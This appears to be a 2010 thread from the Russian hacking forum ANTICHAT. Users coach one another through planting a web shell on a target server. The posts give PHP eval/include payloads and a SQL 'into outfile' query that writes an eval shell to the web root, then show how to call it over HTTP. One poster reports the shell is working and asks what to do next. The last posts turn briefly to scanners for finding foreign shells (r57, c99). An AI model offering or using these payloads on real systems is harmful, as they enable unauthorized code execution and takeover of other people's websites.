ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
04.05.2010, 00:13
|
|
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме:
3516666
Репутация:
439
|
|
я извиняюсь, мой пост затерялся, поетому спрошу ещё раз.
Сообщение от [ DSU ]
Потому что это тхт файл который не выполняется =/
Надо с раширением php залить.
с php вобще ничего не показывает.
Сообщение от wildshaman
Может, потому что там file_get_contents, а не инклуд?
возможно. как в этом случае можно глянуть какая функция используется. |
|
|
04.05.2010, 00:24
|
|
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744
Репутация:
18
|
|
.:[melkiy]:.
Я с табой соглашусь!
Сообщение от [ DSU ]
попробуй залить include($_GET[file]) ...
А по подробнее можно. А то я раньше таким не рользовался! |
|
|
|
04.05.2010, 04:47
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557
Репутация:
606
|
|
Сообщение от GOGA075
.:[melkiy]:.
Я с табой соглашусь!
А по подробнее можно. А то я раньше таким не рользовался!
лучше eval($_GET['shell']);
Сообщение от BrainDeaD
я извиняюсь, мой пост затерялся, поетому спрошу ещё раз.
с php вобще ничего не показывает.
возможно. как в этом случае можно глянуть какая функция используется.
там не инклюд, а читалка
|
|
|
|
04.05.2010, 04:59
|
|
Познающий
Регистрация: 24.04.2007
Сообщений: 92
Провел на форуме:
2621544
Репутация:
412
|
|
залить скрипт аплоада и через него лить уже обычный шелл
ЗЫ:Не трезв...
|
|
|
|
04.05.2010, 07:25
|
|
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744
Репутация:
18
|
|
попугай, eval($_GET['shell']); тоже ничего не дал. Ошибки только выдает! типа
Parse error: syntax error, unexpected '<' in D:\WWW\files\files.php(1) : assert code(1) : eval()'d code on line 1
|
|
|
|
04.05.2010, 08:29
|
|
Reservists Of Antichat - Level 6
Регистрация: 20.08.2008
Сообщений: 328
Провел на форуме:
7144817
Репутация:
1503
|
|
Сообщение от GOGA075
попугай, eval($_GET['shell']); тоже ничего не дал. Ошибки только выдает! типа
Parse error: syntax error, unexpected '<' in D:\WWW\files\files.php(1) : assert code(1) : eval()'d code on line 1
select '<? eval(stripslashes($_REQUEST[\'var\'])); ?>' into outfile 'D:/WWW/files/shell.php';
Потом http://site.com/files/shell.php? var=phpinfo();
__________________
You may say I'm a dreamer
But I'm not the only one
Последний раз редактировалось Twoster; 04.05.2010 в 10:08..
|
|
|
|
04.05.2010, 17:29
|
|
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744
Репутация:
18
|
|
Сообщение от Twoster
Потом http://site.com/files/shell.php?var=phpinfo();
Да phpinfo то выводит без проблем!!
П ричем var не работает, только cmd!
И что ещо можно сделать через команду cmd ??
Последний раз редактировалось GOGA075; 04.05.2010 в 20:03..
|
|
|
|
04.05.2010, 20:39
|
|
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
Провел на форуме:
698831
Репутация:
34
|
|
подскажите пхп - скрипт сканер сервера на наличие чужих шеллов и прочих опасных файлов
|
|
|
|
04.05.2010, 20:44
|
|
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094
Репутация:
672
|
|
Сообщение от daniel_1024
подскажите пхп - скрипт сканер сервера на наличие чужих шеллов и прочих опасных файлов
ммм.. а как скрипт будет различать опасные файлы по твоему?
он же работает на стороне клиента..исходники ему не видны 
|
|
|
|
04.05.2010, 21:07
|
|
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
Провел на форуме:
2212846
Репутация:
56
|
|
Сообщение от daniel_1024
подскажите пхп - скрипт сканер сервера на наличие чужих шеллов и прочих опасных файлов
http://slil.ru/29081007 вот, если я правильно понял. Ищит залитые шеллы на сторонних сайтах по их имени (r57.php,c99.php,c100.php и тд).
Если на своем сервере нужно найти модифицированные файлы или шеллы, то вот http://slil.ru/29081093
Последний раз редактировалось Redwood; 04.05.2010 в 21:18..
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
